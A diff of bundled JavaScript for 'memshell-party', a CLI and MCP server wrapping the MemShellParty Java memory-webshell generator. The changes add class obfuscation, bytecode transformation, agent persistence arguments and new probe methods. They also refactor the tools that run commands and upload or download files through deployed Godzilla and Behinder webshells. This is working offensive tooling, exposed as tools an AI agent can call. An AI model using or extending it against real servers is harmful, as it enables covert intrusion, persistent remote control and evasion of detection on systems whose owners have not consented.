- import { Option as Option4 } from "commander";
4330
+ import { Option as Option5 } from "commander";
4016
4331
  function registerLogCommand(program) {
4017
4332
  program.command("log").description("Show the global operation log").addOption(
4018
- new Option4("--category <name>", "filter by operation category").choices([
4333
+ new Option5("--category <name>", "filter by operation category").choices([
4019
4334
  "gen",
4020
4335
  "probe",
4021
4336
  "connect",
@@ -4070,7 +4385,7 @@ import { writeFileSync as writeFileSync5 } from "fs";
4070
4385
  import { z } from "zod";
4071
4386
 
4072
4387
  // src/core/localfile.ts
4073
- import { existsSync as existsSync5, readFileSync as readFileSync8, statSync } from "fs";
4388
+ import { existsSync as existsSync5, readFileSync as readFileSync9, statSync } from "fs";
4074
4389
  import { dirname as dirname3, join as join6, resolve } from "path";
4075
4390
  var UPLOAD_SIZE_LIMIT = 64 * 1024 * 1024;
4076
4391
  function remoteBasename(remotePath) {
@@ -4126,7 +4441,7 @@ function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
4126
4441
  `local file ${localPath} is ${stat.size} bytes \u2014 over the ${maxBytes}-byte upload limit`
4127
4442
  );
4128
4443
  }
4129
- return readFileSync8(localPath);
4444
+ return readFileSync9(localPath);
4130
4445
  }
4131
4446
 
4132
4447
  // src/version.ts
@@ -4159,12 +4474,15 @@ var memShellInput = {
4159
4474
  shellTool: z.string().describe("Shell tool, e.g. Godzilla, Behinder, Command"),
4160
4475
  shellType: z.string().describe("Shell type, e.g. Listener, Filter, Servlet"),
4161
4476
  packer: z.string().describe("Packer, e.g. Base64, Jar, JSP"),
4162
- jdk: z.string().optional().describe("java6/8/9/11/17/21 or class-file major version"),
4477
+ jdk: z.string().optional().describe("java6/8/9/11/17/21/25 or class-file major version"),
4163
4478
  debug: z.boolean().optional(),
4164
4479
  byPassJavaModule: z.boolean().optional(),
4165
4480
  shrink: z.boolean().optional(),
4166
4481
  lambdaSuffix: z.boolean().optional(),
4167
4482
  probe: z.boolean().optional(),
4483
+ obfuscate: z.boolean().optional(),
4484
+ obfuscationOptions: z.string().optional().describe("obfuscation overrides: key=value, comma-separated"),
4485
+ obfuscationScope: z.enum(["ALL", "MEMSHELL_INJECTOR", "INJECTOR", "MEMSHELL"]).optional(),
4168
4486
  shellClassName: z.string().optional(),
4169
4487
  godzillaPass: z.string().optional(),
4170
4488
  godzillaKey: z.string().optional(),
@@ -4180,19 +4498,22 @@ var memShellInput = {
4180
4498
  urlPattern: z.string().optional(),
4181
4499
  injectorClassName: z.string().optional(),
4182
4500
  staticInitialize: z.boolean().optional(),
4501
+ agentArgs: z.string().optional().describe("Agent load-time arguments (persist=true / restore=true); not sent to the generate API"),
4183
4502
  outputFile: z.string().optional().describe(
4184
4503
  "also write the packed payload to this local file (auto base64-decodes for .class/.jar/.zip/.ser/.bin); the response gains an outputFile field with the write result. Fails for aggregate packers that return several variants \u2014 pick a leaf packer (e.g. DefaultBase64)."
4185
4504
  )
4186
4505
  };
4187
4506
  var probeInput = {
4188
- probeMethod: z.enum(["ResponseBody", "DNSLog", "Sleep"]),
4189
- probeContent: z.string().describe("BasicInfo, Server, OS, JDK, Bytecode, Command"),
4507
+ probeMethod: z.enum(["ResponseBody", "ResponseHeader", "DNSLog", "Sleep"]),
4508
+ probeContent: z.string().describe("Server, JDK, Bytecode, Command, ScriptEngine, Filter"),
4190
4509
  packer: z.string(),
4191
4510
  jdk: z.string().optional(),
4192
4511
  debug: z.boolean().optional(),
4193
4512
  byPassJavaModule: z.boolean().optional(),
4194
4513
  shrink: z.boolean().optional(),
4195
4514
  lambdaSuffix: z.boolean().optional(),
4515
+ obfuscate: z.boolean().optional(),
4516
+ obfuscationOptions: memShellInput.obfuscationOptions,
4196
4517
  staticInitialize: z.boolean().optional(),
4197
4518
  shellClassName: z.string().optional(),
4198
4519
  host: z.string().optional(),
@@ -4201,8 +4522,31 @@ var probeInput = {
4201
4522
  server: z.string().optional(),
4202
4523
  reqParamName: z.string().optional(),
4203
4524
  commandTemplate: z.string().optional(),
4525
+ respHeaderName: z.string().optional(),
4204
4526
  outputFile: memShellInput.outputFile
4205
4527
  };
4528
+ var bytecodeInput = {
4529
+ classBytesBase64: z.string().describe("Base64 or GzipBase64 class bytes"),
4530
+ outputFile: z.string().optional().describe("also write the transformed class to this local file")
4531
+ };
4532
+ var bytecodeTransformInput = {
4533
+ ...bytecodeInput,
4534
+ packer: z.string().optional(),
4535
+ byPassJavaModule: z.boolean().optional(),
4536
+ staticInitialize: z.boolean().optional(),
4537
+ shrink: z.boolean().optional(),
4538
+ renamePackage: z.boolean().optional(),
4539
+ relocateFrom: z.string().optional(),
4540
+ relocateTo: z.string().optional(),
4541
+ entryMethod: z.string().optional(),
4542
+ newClassName: z.string().optional(),
4543
+ randomName: z.boolean().optional(),
4544
+ obfuscate: z.boolean().optional(),
4545
+ obfuscationOptions: memShellInput.obfuscationOptions,
4546
+ server: z.string().optional(),
4547
+ probeMethod: z.enum(["ResponseBody", "ResponseHeader"]).optional(),
4548
+ respHeaderName: z.string().optional()
4549
+ };
4206
4550
  var connectInput = {
4207
4551
  name: z.string().optional().describe(
4208
4552
  "saved target reference (<project>/<shell>, or a bare project holding exactly one shell) \u2014 when set, url/tool/pass/... fall back to the saved values (see target_save/target_list)"
@@ -4215,7 +4559,8 @@ var connectInput = {
4215
4559
  headerValue: z.string().optional().describe("gate header value from generate_memshell shellToolConfig \u2014 required for MemShellParty shells"),
4216
4560
  suo5Mode: z.enum(["auto", "v2", "v1"]).optional().describe("suo5 protocol variant (default: auto)"),
4217
4561
  insecure: z.boolean().optional().describe("skip TLS certificate verification"),
4218
- timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)")
4562
+ timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)"),
4563
+ upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name")
4219
4564
  };
4220
4565
  var execInput = {
4221
4566
  name: z.string().optional().describe(
@@ -4232,7 +4577,8 @@ var execInput = {
4232
4577
  headerName: z.string().optional().describe("gate header name from generate_memshell shellToolConfig (usually User-Agent)"),
4233
4578
  headerValue: z.string().optional().describe("gate header value from generate_memshell shellToolConfig \u2014 required for MemShellParty shells"),
4234
4579
  insecure: z.boolean().optional().describe("skip TLS certificate verification"),
4235
- timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)")
4580
+ timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)"),
4581
+ upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name")
4236
4582
  };
4237
4583
  var transferConnInput = {
4238
4584
  name: execInput.name,
@@ -4244,6 +4590,7 @@ var transferConnInput = {
4244
4590
  headerValue: execInput.headerValue,
4245
4591
  insecure: execInput.insecure,
4246
4592
  timeoutMs: execInput.timeoutMs,
4593
+ upgradeProtocol: execInput.upgradeProtocol,
4247
4594
  remoteCharset: z.string().optional().describe(
4248
4595
  "godzilla only: charset for non-ASCII remote paths (any Java label, e.g. GBK; default UTF-8)"
4249
4596
  )
@@ -4271,12 +4618,82 @@ var targetSaveInput = {
4271
4618
  headerName: z.string().optional().describe("gate header name (shellToolConfig.headerName)"),
4272
4619
  headerValue: z.string().optional().describe("gate header value (shellToolConfig.headerValue)"),
4273
4620
  insecure: z.boolean().optional().describe("skip TLS certificate verification"),
4621
+ upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name"),
4274
4622
  projectRemark: z.string().optional().describe("project remark (merged into the project)"),
4275
4623
  projectCategory: z.string().optional().describe("project category (merged into the project)"),
4276
4624
  shellRemark: z.string().optional().describe("remark for this shell")
4277
4625
  };
4278
4626
  function createMcpServer(client) {
4279
4627
  const server = new McpServer({ name: "memshell-party", version: CLI_VERSION });
4628
+ server.registerTool(
4629
+ "bytecode_decode",
4630
+ {
4631
+ title: "Decode Java class",
4632
+ description: "Decode Base64/GzipBase64 class bytes and return class metadata (MemShellParty v3+).",
4633
+ inputSchema: bytecodeInput
4634
+ },
4635
+ async (args) => {
4636
+ try {
4637
+ const result = await client.decodeBytecode(args.classBytesBase64);
4638
+ const outputFile = args.outputFile === void 0 ? void 0 : emitSinglePackResult(
4639
+ { packResult: result.classBytesBase64Str },
4640
+ { outFile: args.outputFile, decode: true }
4641
+ );
4642
+ return jsonContent(outputFile === void 0 ? result : { ...result, outputFile });
4643
+ } catch (err) {
4644
+ return errorContent(err);
4645
+ }
4646
+ }
4647
+ );
4648
+ server.registerTool(
4649
+ "bytecode_transform",
4650
+ {
4651
+ title: "Transform Java class",
4652
+ description: "Rename, relocate, instrument, obfuscate or pack a Java class (MemShellParty v3+).",
4653
+ inputSchema: bytecodeTransformInput
4654
+ },
4655
+ async (args) => {
4656
+ try {
4657
+ const renamePackage = args.renamePackage || args.relocateFrom !== void 0 || args.relocateTo !== void 0;
4658
+ if (renamePackage && (!args.relocateFrom || !args.relocateTo)) {
4659
+ throw new Error("Package relocation requires relocateFrom and relocateTo.");
4660
+ }
4661
+ const {
4662
+ outputFile: outputPath,
4663
+ obfuscate: _obfuscate,
4664
+ obfuscationOptions,
4665
+ probeMethod,
4666
+ server: server2,
4667
+ respHeaderName,
4668
+ ...fields
4669
+ } = args;
4670
+ const request = {
4671
+ obfuscation: args.obfuscate || args.obfuscationOptions !== void 0 ? { enabled: true, options: parseObfuscationOptions(args.obfuscationOptions) } : void 0,
4672
+ ...probeMethod === void 0 ? {} : {
4673
+ server: server2 ?? "Unknown",
4674
+ probe: {
4675
+ probeMethod,
4676
+ probeContent: "Bytecode",
4677
+ respHeaderName
4678
+ }
4679
+ }
4680
+ };
4681
+ const result = await client.transformBytecode({
4682
+ classBytesBase64: args.classBytesBase64,
4683
+ ...Object.fromEntries(Object.entries(fields).filter(([, value]) => value !== void 0)),
4684
+ ...renamePackage ? { renamePackage } : {},
4685
+ ...request
4686
+ });
4687
+ const outputFile = outputPath === void 0 ? void 0 : emitSinglePackResult(
4688
+ { packResult: result.packResult ?? result.classBytesBase64Str },
4689
+ { outFile: outputPath, decode: result.packResult === void 0 || void 0 }
4690
+ );
4691
+ return jsonContent(outputFile === void 0 ? result : { ...result, outputFile });
4692
+ } catch (err) {
4693
+ return errorContent(err);
4694
+ }
4695
+ }
4696
+ );
4280
4697
  server.registerTool(
4281
4698
  "list_servers",
4282
4699
  { title: "List servers", description: "List supported servers and their shell types" },
@@ -4327,6 +4744,34 @@ function createMcpServer(client) {
4327
4744
  }
4328
4745
  }
4329
4746
  );
4747
+ server.registerTool(
4748
+ "list_shell_tool_configs",
4749
+ {
4750
+ title: "List shell tool configs",
4751
+ description: "List v3 shell tool parameter names, types, enum choices and groups. An empty list means the backend uses the legacy v2 API."
4752
+ },
4753
+ async () => {
4754
+ try {
4755
+ return jsonContent(await client.getShellToolConfigs());
4756
+ } catch (err) {
4757
+ return errorContent(err);
4758
+ }
4759
+ }
4760
+ );
4761
+ server.registerTool(
4762
+ "list_obfuscation_options",
4763
+ {
4764
+ title: "List obfuscation options",
4765
+ description: "List class obfuscation option keys, defaults and valid values (v3+)"
4766
+ },
4767
+ async () => {
4768
+ try {
4769
+ return jsonContent(await client.getObfuscationOptions());
4770
+ } catch (err) {
4771
+ return errorContent(err);
4772
+ }
4773
+ }
4774
+ );
4330
4775
  server.registerTool(
4331
4776
  "generate_memshell",
4332
4777
  {
@@ -4345,7 +4790,17 @@ function createMcpServer(client) {
4345
4790
  };
4346
4791
  const started = Date.now();
4347
4792
  try {
4348
- const response = await client.generateMemShell(buildMemShellRequest(args));
4793
+ if (args.agentArgs !== void 0 && !supportsAgentLoadArguments(args.shellType, args.packer)) {
4794
+ throw new Error(
4795
+ "agentArgs requires an Agent* shell type and an AgentJar, AgentJarWithJDKAttacher, or AgentJarWithJREAttacher packer."
4796
+ );
4797
+ }
4798
+ const response = await client.generateMemShell(
4799
+ buildMemShellRequest({
4800
+ ...args,
4801
+ obfuscationOptions: parseObfuscationOptions(args.obfuscationOptions)
4802
+ })
4803
+ );
4349
4804
  const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
4350
4805
  logOp({
4351
4806
  category: "gen",
@@ -4355,7 +4810,14 @@ function createMcpServer(client) {
4355
4810
  detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,
4356
4811
  meta
4357
4812
  });
4358
- return jsonContent(outputFile === void 0 ? response : { ...response, outputFile });
4813
+ return jsonContent({
4814
+ ...response,
4815
+ ...outputFile === void 0 ? {} : { outputFile },
4816
+ ...args.agentArgs === void 0 ? {} : {
4817
+ agentArgs: args.agentArgs,
4818
+ agentLoadExamples: agentLoadExamples(args.agentArgs)
4819
+ }
4820
+ });
4359
4821
  } catch (err) {
4360
4822
  logOp({
4361
4823
  category: "gen",
@@ -4385,7 +4847,12 @@ function createMcpServer(client) {
4385
4847
  };
4386
4848
  const started = Date.now();
4387
4849
  try {
4388
- const response = await client.generateProbe(buildProbeRequest(args));
4850
+ const response = await client.generateProbe(
4851
+ buildProbeRequest({
4852
+ ...args,
4853
+ obfuscationOptions: parseObfuscationOptions(args.obfuscationOptions)
4854
+ })
4855
+ );
4389
4856
  const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
4390
4857
  logOp({
4391
4858
  category: "probe",
@@ -4451,29 +4918,19 @@ function createMcpServer(client) {
4451
4918
  key: args.key,
4452
4919
  headerName: args.headerName,
4453
4920
  headerValue: args.headerValue,
4454
- insecure: args.insecure
4921
+ insecure: args.insecure,
4922
+ upgradeProtocol: args.upgradeProtocol
4455
4923
  });
4456
4924
  const common = {
4457
4925
  headerName: conn.headerName,
4458
4926
  headerValue: conn.headerValue,
4459
4927
  extraHeaders: conn.extraHeaders,
4460
4928
  timeoutMs: args.timeoutMs,
4461
- insecure: conn.insecure
4929
+ insecure: conn.insecure,
4930
+ upgradeProtocol: conn.upgradeProtocol
4462
4931
  };
4463
- let result;
4464
- switch (conn.tool) {
4465
- case "godzilla":
4466
- result = await testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common);
4467
- break;
4468
- case "behinder":
4469
- result = await testBehinder(conn.url, conn.pass ?? "rebeyond", common);
4470
- break;
4471
- case "suo5":
4472
- result = await testSuo5(conn.url, { ...common, mode: args.suo5Mode });
4473
- break;
4474
- default:
4475
- throw new Error(`unknown tool ${String(conn.tool)}`);
4476
- }
4932
+ const options = { suo5Mode: args.suo5Mode };
4933
+ const result = await requireProtocol(conn.tool).test({ conn, common, options });
4477
4934
  let savedAs;
4478
4935
  if (result.ok && conn.targetName === void 0) {
4479
4936
  savedAs = autoSaveShell(conn);
@@ -4512,32 +4969,20 @@ function createMcpServer(client) {
4512
4969
  key: args.key,
4513
4970
  headerName: args.headerName,
4514
4971
  headerValue: args.headerValue,
4515
- insecure: args.insecure
4972
+ insecure: args.insecure,
4973
+ upgradeProtocol: args.upgradeProtocol
4516
4974
  });
4517
4975
  const common = {
4518
4976
  headerName: conn.headerName,
4519
4977
  headerValue: conn.headerValue,
4520
4978
  extraHeaders: conn.extraHeaders,
4521
4979
  timeoutMs: args.timeoutMs,
4522
- insecure: conn.insecure
4980
+ insecure: conn.insecure,
4981
+ upgradeProtocol: conn.upgradeProtocol
4523
4982
  };
4524
- let result;
4525
- switch (conn.tool) {
4526
- case "godzilla":
4527
- result = await execGodzilla(
4528
- conn.url,
4529
- conn.pass ?? "pass",
4530
- conn.key ?? "key",
4531
- args.command,
4532
- { ...common, os: args.os }
4533
- );
4534
- break;
4535
- case "behinder":
4536
- result = await execBehinder(conn.url, conn.pass ?? "rebeyond", args.command, common);
4537
- break;
4538
- default:
4539
- throw new Error(`exec supports godzilla | behinder (got ${String(conn.tool)})`);
4540
- }
4983
+ const protocol = requireProtocol(conn.tool);
4984
+ if (!protocol.exec) throw new Error(unsupportedMessage(protocol, "exec"));
4985
+ const result = await protocol.exec({ conn, common, options: { os: args.os } }, args.command);
4541
4986
  let savedAs;
4542
4987
  if (result.ok && conn.targetName === void 0) {
4543
4988
  savedAs = autoSaveShell(conn);
@@ -4579,38 +5024,24 @@ function createMcpServer(client) {
4579
5024
  key: args.key,
4580
5025
  headerName: args.headerName,
4581
5026
  headerValue: args.headerValue,
4582
- insecure: args.insecure
5027
+ insecure: args.insecure,
5028
+ upgradeProtocol: args.upgradeProtocol
4583
5029
  });
4584
5030
  const common = {
4585
5031
  headerName: conn.headerName,
4586
5032
  headerValue: conn.headerValue,
4587
5033
  extraHeaders: conn.extraHeaders,
4588
5034
  timeoutMs: args.timeoutMs,
4589
- insecure: conn.insecure
5035
+ insecure: conn.insecure,
5036
+ upgradeProtocol: conn.upgradeProtocol
4590
5037
  };
4591
5038
  const localPath = resolveDownloadPath(args.remotePath, args.localPath, args.force ?? false);
4592
- let result;
4593
- switch (conn.tool) {
4594
- case "godzilla":
4595
- result = await downloadGodzilla(
4596
- conn.url,
4597
- conn.pass ?? "pass",
4598
- conn.key ?? "key",
4599
- args.remotePath,
4600
- { ...common, remoteCharset: args.remoteCharset }
4601
- );
4602
- break;
4603
- case "behinder":
4604
- result = await downloadBehinder(
4605
- conn.url,
4606
- conn.pass ?? "rebeyond",
4607
- args.remotePath,
4608
- common
4609
- );
4610
- break;
4611
- default:
4612
- throw new Error(`download supports godzilla | behinder (got ${String(conn.tool)})`);
4613
- }
5039
+ const protocol = requireProtocol(conn.tool);
5040
+ if (!protocol.download) throw new Error(unsupportedMessage(protocol, "download"));
5041
+ let result = await protocol.download(
5042
+ { conn, common, options: { remoteCharset: args.remoteCharset } },
5043
+ args.remotePath
5044
+ );
4614
5045
  if (result.ok && result.data !== void 0) {
4615
5046
  try {
4616
5047
  writeFileSync5(localPath, result.data);
@@ -4662,40 +5093,25 @@ function createMcpServer(client) {
4662
5093
  key: args.key,
4663
5094
  headerName: args.headerName,
4664
5095
  headerValue: args.headerValue,
4665
- insecure: args.insecure
5096
+ insecure: args.insecure,
5097
+ upgradeProtocol: args.upgradeProtocol
4666
5098
  });
4667
5099
  const common = {
4668
5100
  headerName: conn.headerName,
4669
5101
  headerValue: conn.headerValue,
4670
5102
  extraHeaders: conn.extraHeaders,
4671
5103
  timeoutMs: args.timeoutMs,
4672
- insecure: conn.insecure
5104
+ insecure: conn.insecure,
5105
+ upgradeProtocol: conn.upgradeProtocol
4673
5106
  };
4674
5107
  const data = readUploadFile(args.localPath);
4675
- let result;
4676
- switch (conn.tool) {
4677
- case "godzilla":
4678
- result = await uploadGodzilla(
4679
- conn.url,
4680
- conn.pass ?? "pass",
4681
- conn.key ?? "key",
4682
- args.remotePath,
4683
- data,
4684
- { ...common, remoteCharset: args.remoteCharset }
4685
- );
4686
- break;
4687
- case "behinder":
4688
- result = await uploadBehinder(
4689
- conn.url,
4690
- conn.pass ?? "rebeyond",
4691
- args.remotePath,
4692
- data,
4693
- common
4694
- );
4695
- break;
4696
- default:
4697
- throw new Error(`upload supports godzilla | behinder (got ${String(conn.tool)})`);
4698
- }
5108
+ const protocol = requireProtocol(conn.tool);
5109
+ if (!protocol.upload) throw new Error(unsupportedMessage(protocol, "upload"));
5110
+ const result = await protocol.upload(
5111
+ { conn, common, options: { remoteCharset: args.remoteCharset } },
5112
+ args.remotePath,
5113
+ data
5114
+ );
4699
5115
  let savedAs;
4700
5116
  if (result.ok && conn.targetName === void 0) {
4701
5117
  savedAs = autoSaveShell(conn);
@@ -4742,6 +5158,7 @@ function createMcpServer(client) {
4742
5158
  headerName: args.headerName,
4743
5159
  headerValue: args.headerValue,
4744
5160
  insecure: args.insecure,
5161
+ upgradeProtocol: args.upgradeProtocol,
4745
5162
  remark: args.shellRemark
4746
5163
  });
4747
5164
  logOp({
@@ -4906,7 +5323,7 @@ function registerMcpCommand(program) {
4906
5323
  }
4907
5324
 
4908
5325
  // src/commands/parse-classname.ts
4909
- import { readFileSync as readFileSync9 } from "fs";
5326
+ import { readFileSync as readFileSync10 } from "fs";
4910
5327
  function registerParseClassNameCommand(program) {
4911
5328
  program.command("parse-classname").description("Parse the fully-qualified class name from a .class file").argument("[base64]", "base64-encoded .class bytes (omit when using --file)").option("-f, --file <path>", "read a .class file from disk instead of passing base64").addHelpText(
4912
5329
  "after",
@@ -4919,7 +5336,7 @@ Examples:
4919
5336
  ).action(async (base64, opts, cmd) => {
4920
5337
  let classBase64;
4921
5338
  if (opts.file) {
4922
- classBase64 = readFileSync9(opts.file).toString("base64");
5339
+ classBase64 = readFileSync10(opts.file).toString("base64");
4923
5340
  } else if (base64) {
4924
5341
  classBase64 = base64.trim();
4925
5342
  } else {
@@ -4933,7 +5350,7 @@ Examples:
4933
5350
  }
4934
5351
 
4935
5352
  // src/commands/probe.ts
4936
- import { Option as Option5 } from "commander";
5353
+ import { Option as Option6 } from "commander";
4937
5354
 
4938
5355
  // src/wizard/probe-wizard.ts
4939
5356
  import { checkbox as checkbox2, confirm as confirm2, input as input2, select as select2 } from "@inquirer/prompts";
@@ -4941,26 +5358,40 @@ var JDK_CHOICES2 = [
4941
5358
  { name: "server default", value: "" },
4942
5359
  ...Object.entries(JDK_VERSIONS).map(([name, major]) => ({ name: `${name} (${major})`, value: name }))
4943
5360
  ];
4944
- var PROBE_METHODS = ["ResponseBody", "DNSLog", "Sleep"];
4945
- var PROBE_CONTENTS = ["BasicInfo", "Server", "OS", "JDK", "Bytecode", "Command"];
5361
+ var PROBE_METHODS = ["ResponseBody", "ResponseHeader", "DNSLog", "Sleep"];
5362
+ var PROBE_CONTENTS = {
5363
+ ResponseBody: ["Server", "Command", "Bytecode", "ScriptEngine", "Filter"],
5364
+ ResponseHeader: ["Server", "Command", "Bytecode", "ScriptEngine", "Filter"],
5365
+ DNSLog: ["Server", "JDK"],
5366
+ Sleep: ["Server"]
5367
+ };
4946
5368
  async function runProbeWizard(client) {
4947
- const [config, packerTree] = await Promise.all([client.getConfig(), client.getPackerTree()]);
4948
- const servers = Object.keys(config);
5369
+ const [packerTree, discoveredServers, config] = await Promise.all([
5370
+ client.getPackerTree(),
5371
+ client.getProbeResponseServers(),
5372
+ client.getConfig()
5373
+ ]);
5374
+ const servers = discoveredServers.length ? discoveredServers : Object.keys(config);
4949
5375
  const probeMethod = await select2({
4950
5376
  message: "Probe method",
4951
5377
  choices: PROBE_METHODS.map((m) => ({ name: m, value: m }))
4952
5378
  });
4953
5379
  const probeContent = await select2({
4954
5380
  message: "Probe content",
4955
- choices: PROBE_CONTENTS.map((c) => ({ name: c, value: c }))
5381
+ choices: PROBE_CONTENTS[probeMethod].map((content) => ({
5382
+ name: content,
5383
+ value: content
5384
+ }))
4956
5385
  });
4957
- const packer = await select2({
4958
- message: "Packer",
4959
- choices: packerTree.flatMap((p) => [
4960
- { name: p.name, value: p.name },
4961
- ...p.children.map((c) => ({ name: ` ${c}`, value: c }))
4962
- ])
5386
+ const category = await select2({
5387
+ message: "Packer category",
5388
+ choices: packerTree.map((packer2) => ({ name: packer2.name, value: packer2.name }))
4963
5389
  });
5390
+ const selected = packerTree.find((packer2) => packer2.name === category);
5391
+ const packer = selected.children.length ? await select2({
5392
+ message: "Packer variant",
5393
+ choices: selected.children.map((name) => ({ name, value: name }))
5394
+ }) : category;
4964
5395
  const opts = { probeMethod, probeContent, packer };
4965
5396
  switch (probeMethod) {
4966
5397
  case "DNSLog":
@@ -4973,23 +5404,21 @@ async function runProbeWizard(client) {
4973
5404
  });
4974
5405
  opts.seconds = Number(await input2({ message: "Seconds", default: "5" }));
4975
5406
  break;
4976
- case "ResponseBody": {
4977
- let responseBodyServers = servers;
4978
- try {
4979
- responseBodyServers = await client.getProbeResponseBodyServers();
4980
- } catch {
4981
- }
5407
+ case "ResponseBody":
5408
+ case "ResponseHeader":
4982
5409
  opts.server = await select2({
4983
5410
  message: "Server",
4984
- choices: responseBodyServers.map((s) => ({ name: s, value: s }))
5411
+ choices: servers.map((s) => ({ name: s, value: s }))
4985
5412
  });
4986
- opts.reqParamName = await input2({ message: "Request param name", default: "cmd" });
5413
+ opts.reqParamName = await input2({ message: "Request param/header name", default: "cmd" });
4987
5414
  opts.commandTemplate = await input2({
4988
5415
  message: "Command template (optional, {command} placeholder)",
4989
5416
  default: ""
4990
5417
  });
5418
+ if (probeMethod === "ResponseHeader") {
5419
+ opts.respHeaderName = await input2({ message: "Response header name (optional)", default: "" });
5420
+ }
4991
5421
  break;
4992
- }
4993
5422
  default:
4994
5423
  break;
4995
5424
  }
@@ -5004,7 +5433,8 @@ async function runProbeWizard(client) {
5004
5433
  { name: "static initialize", value: "staticInitialize", checked: true },
5005
5434
  { name: "bypass Java module", value: "byPassJavaModule" },
5006
5435
  { name: "lambda suffix", value: "lambdaSuffix" },
5007
- { name: "debug", value: "debug" }
5436
+ { name: "debug", value: "debug" },
5437
+ { name: "class obfuscation (v3+)", value: "obfuscate" }
5008
5438
  ]
5009
5439
  });
5010
5440
  opts.shrink = toggles.includes("shrink");
@@ -5012,6 +5442,7 @@ async function runProbeWizard(client) {
5012
5442
  opts.byPassJavaModule = toggles.includes("byPassJavaModule");
5013
5443
  opts.lambdaSuffix = toggles.includes("lambdaSuffix");
5014
5444
  opts.debug = toggles.includes("debug");
5445
+ opts.obfuscate = toggles.includes("obfuscate");
5015
5446
  const confirmed = await confirm2({ message: `Generate ${probeMethod} probe (${packer})?` });
5016
5447
  if (!confirmed) throw new Error("Cancelled by user.");
5017
5448
  return opts;
@@ -5029,6 +5460,8 @@ function toOptions2(o) {
5029
5460
  byPassJavaModule: o.bypassModule,
5030
5461
  shrink: o.shrink,
5031
5462
  lambdaSuffix: o.lambdaSuffix,
5463
+ obfuscate: o.obfuscate,
5464
+ obfuscationOptions: parseObfuscationOptions(o.obfuscationOptions),
5032
5465
  staticInitialize: o.staticInitialize,
5033
5466
  shellClassName: o.shellClassName,
5034
5467
  host: o.host,
@@ -5036,11 +5469,12 @@ function toOptions2(o) {
5036
5469
  sleepServer: o.sleepServer,
5037
5470
  server: o.server,
5038
5471
  reqParamName: o.reqParamName,
5039
- commandTemplate: o.commandTemplate
5472
+ commandTemplate: o.commandTemplate,
5473
+ respHeaderName: o.respHeaderName
5040
5474
  };
5041
5475
  }
5042
5476
  function registerProbeCommand(program) {
5043
- program.command("probe").description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.").option("-m, --method <method>", "probe method: ResponseBody, DNSLog, Sleep").option("-c, --content <content>", "probe content: BasicInfo, Server, OS, JDK, Bytecode, Command").option("-p, --packer <packer>", "packer, e.g. Base64, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--no-static-initialize", "disable static initialization (enabled by default)").option("--shell-class-name <name>", "explicit shell class name").option("--host <host>", "DNSLog host (DNSLog method)").option("--seconds <n>", "sleep seconds (Sleep method)").option("--sleep-server <server>", "server to fingerprint (Sleep method)").option("--server <server>", "server (ResponseBody method)").option("--req-param-name <name>", "request param name (ResponseBody method)").option("--command-template <tpl>", "command template ({command} placeholder)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option5("--decode", "base64-decode the payload before writing")).addOption(new Option5("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload (with -o the file is still written and the JSON gains an outputFile field)").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
5477
+ program.command("probe").description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.").option("-m, --method <method>", "probe method: ResponseBody, ResponseHeader, DNSLog, Sleep").option("-c, --content <content>", "probe content: Server, JDK, Bytecode, Command, ScriptEngine, Filter").option("-p, --packer <packer>", "packer, e.g. Base64, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21/25, or a class-file major version").option("--debug", "enable debug output").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--obfuscate", "enable class obfuscation (MemShellParty v3+)").option("--obfuscation-options <options>", "obfuscation overrides: key=value, comma-separated").option("--no-static-initialize", "disable static initialization (enabled by default)").option("--shell-class-name <name>", "explicit shell class name").option("--host <host>", "DNSLog host (DNSLog method)").option("--seconds <n>", "sleep seconds (Sleep method)").option("--sleep-server <server>", "server to fingerprint (Sleep method)").option("--server <server>", "server (ResponseBody/ResponseHeader methods; use Unknown if unidentified)").option("--req-param-name <name>", "request param/header name (ResponseBody/ResponseHeader methods)").option("--resp-header-name <name>", "response header name (ResponseHeader method)").option("--command-template <tpl>", "command template ({command} placeholder)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option6("--decode", "base64-decode the payload before writing")).addOption(new Option6("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload (with -o the file is still written and the JSON gains an outputFile field)").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
5044
5478
  "after",
5045
5479
  `
5046
5480
  Examples:
@@ -5050,6 +5484,7 @@ Examples:
5050
5484
  $ memparty probe -m DNSLog -c Server -p DefaultBase64 --host x.dnslog.cn
5051
5485
  $ memparty probe -m Sleep -c Server -p DefaultBase64 \\
5052
5486
  --sleep-server Tomcat --seconds 5
5487
+ $ memparty probe -m ResponseHeader -c Server -p DefaultBase64 --server Unknown
5053
5488
 
5054
5489
  Note: a probe is a detection shell that reports what the target supports.
5055
5490
  The server name reported by '-c Server' is the value to pass as
@@ -5217,7 +5652,7 @@ ${lines.join("\n")}
5217
5652
  }
5218
5653
 
5219
5654
  // src/commands/skill.ts
5220
- import { Command as Command7 } from "commander";
5655
